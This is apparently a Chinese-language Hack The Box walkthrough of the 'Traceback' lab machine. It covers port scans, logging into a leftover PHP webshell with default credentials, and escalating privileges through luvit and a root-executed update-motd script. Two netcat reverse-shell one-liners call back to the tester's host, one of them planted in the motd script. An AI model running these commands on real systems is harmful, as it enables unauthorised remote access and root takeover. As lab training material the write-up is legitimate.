HTB::Traceback

实验环境

Traceback1

渗透过程

0x01 信息搜集

masscan扫描

sudo masscan 10.10.10.181 -p0-65535 --rate 1000 -e tun0

Traceback2

nmap扫描

sudo nmap -sS -sV -T4 -p- 10.10.10.181

Traceback3

开放22与80端口。

访问80端口,发现有人挂了黑页

Traceback6

联想到该靶机的标题为:Traceback(反追踪),猜测此黑页就是题目所给条件。

0x02 解题过程

查看网页源代码,发现疑似提示语句。

Traceback4

猜测Xh4H为后门作者,通过搜索引擎查找相关信息。

Traceback5

找到一个代码仓库,对其中后门进行测试,发现http://10.10.10.181/smevk.php可以访问。

Traceback7

后门源码(部分)如下:

$UserName = "admin";                                      //Your UserName here.
$auth_pass = "admin";                                  //Your Password.

使用该密码成功登录后门:

Traceback8

通过后门代码执行,尝试反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.237 4444 >/tmp/f

建立命名管道,并将管道shell通过管道与远程主机相连接。

Traceback9

使用PHP代码执行,反弹shell

Traceback10

得到shell:

Traceback11

查看系统用户信息:

Traceback12

进入当前用户的家目录,获得一个note.txt提示文件:

Traceback13

user.txt

查看bash历史记录:

Traceback14

发现应该是利用/home/sysadmin/luvit这个工具执行了一个lua脚本,然后删除了所执行的脚本。

查看:

Traceback15

发现当前用户可以不使用密码利用/home/sysadmin/luvit工具,构造lua脚本获取拥有sysadmin权限的shell:

Traceback16

利用该shell,得到user.txt。

Traceback17

root.txt

Traceback18

可以看到系统每隔30秒就把/var/backups/.update-motd.d/中的文件都复制到/etc/update-motd.d/

通过搜索得知:motd是message of the day的缩写,意思是“当天的提示信息”,通常在用户成功登录到Linux后出现,该信息可以从/etc/motd文本文件中找到。

提示:/etc/motd文件有时不一定是个常规文本文件,也可能是一个软链接到某个特定的文件,如/var/run/motd

一般来说,这个文件是一个静态文本文件,只在某个Linux发行版本完成安装或升级后才会更新。

提示:UNIX/Linux系统管理员也通常会把一些重要的信息写到这个文件里面,以方便其他人或自己下次成功登录时需要注意什么和做什么,非常方便。

通常一个标准的motd信息有以下内容:

  1. 欢迎信息,一般包括Linux发行版本名称,内核版本、操作系统位数
  2. 操作系统当前信息,如操作系统负载,进程数量,文件系统使用情况,当前用户登录数,内存(含swap)使用情况,IP地址
  3. 文档和帮助信息
  4. 可更新的软件包和可升级的安全补丁

找到相应文件目录:

Traceback19

由于手工监视进程较麻烦,然后使用Github开源项目pspy进行监视进程,在监视过程中发现ssh登录成功后会以root用户执行/etc/update-motd.d/下的文件,如图:

Traceback20

使用SSH登录,将本机公钥写入服务器authorized_keys文件中:

Traceback21

在”欢迎语“中加入一条命令,显示root.txt

Traceback22

快速进行登录(服务器定期重置motd),得到root.txt:

Traceback23

将反弹shell命令写入”欢迎“脚本:

echo "rm /tmp/h;mkfifo /tmp/h;cat /tmp/h|/bin/sh -i 2>&1|nc 10.10.14.237 6666>/tmp/h" >> 00-header

进行ssh登录时,反弹root shell:

Traceback24

python3 -c 'import pty; pty.spawn("/bin/bash")'			# 可以获得交互式shell
原文地址:https://www.cnblogs.com/chalan630/p/13643063.html